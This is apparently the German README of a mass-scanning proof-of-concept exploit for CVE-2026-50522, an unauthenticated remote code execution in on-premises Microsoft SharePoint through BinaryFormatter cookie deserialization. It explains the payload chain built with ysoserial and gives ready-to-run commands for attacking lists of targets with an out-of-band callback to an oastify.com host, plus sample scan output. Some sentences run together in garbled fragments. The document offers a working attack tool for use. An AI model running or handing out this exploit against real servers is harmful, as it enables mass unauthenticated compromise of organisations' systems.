
CVE-2026-50522 PoC
Nicht authentifizierte Remotecodeausführung über SecurityContextToken-Cookie-Deserialisierung
Massenscan-Exploit für CVE-2026-50522, der lokale Microsoft SharePoint Server-Installationen angreift. Nutzt unsichere BinaryFormatter-Deserialisierung im WS-Federation-Endpunkt /_trust/default.aspx aus, um über präparierte SecurityContextToken-Cookies eine nicht authentifizierte Codeausführung zu erreichen.
Hinweis: Dieses Projekt enthält
ysoserial, ein bekanntes Penetrationstest-Tool. Daher kann Ihr Antivirenprogramm es beim Download markieren oder unter Quarantäne stellen.
ysoserial.exe erzeugt ein mit BinaryFormatter serialisiertes Payload unter Verwendung des -Gadgets.TypeConfuseDelegateInvoke-WebRequest an eine Out-of-Band-Callback-URL aus.SecurityContextToken-XML-Struktur eingebettet.RequestSecurityTokenResponse (WS-Federation) eingebettet.wresult-Parameter wird per POST an /_trust/default.aspx gesendet.requests-Bibliothekpython CVE-2026-50522.py -t http://10.10.10.5 -c http://YOUR_ID.oastify.com
python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com
python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com --ysoserial C:\tools\ysoserial.exe
python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com -x http://127.0.0.1:8080
python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com --callback-mode subdomain
| Argument | Beschreibung | Standard |
|---|---|---|
-t, --target | Einzelne Ziel-URL | - |
-T, --targets | Datei mit Ziel-URLs, eine pro Zeile | - |
-c, --callback-url | OOB-Callback-Basis-URL (erforderlich) | - |
--callback-mode | path oder subdomain | path |
--ysoserial | Pfad zu ysoserial.exe | ysoserial.exe |
-x, --proxy | HTTP-Proxy | keine |
Pfadmodus (Standard):
http://YOUR_ID.oastify.com/10.10.10.5
Subdomain-Modus:
http://10.10.10.5.YOUR_ID.oastify.com
[*] 50 target(s) | callback: http://abc123.oastify.com (path) | ysoserial: ysoserial.exe
[10.10.10.5] [+] 200 [LOGIN_PAGE,AUTH_COOKIE]
[10.10.10.6] [!] 200 [AMSI_BLOCKED]
[10.10.10.7] [!] TIMEOUT
[10.10.10.8] [!] SSL_ERR
[10.10.10.9] [!] 403 [HTTP_403]
[*] 45.2s | 50 total | 12 potential | 3 amsi | 5 failed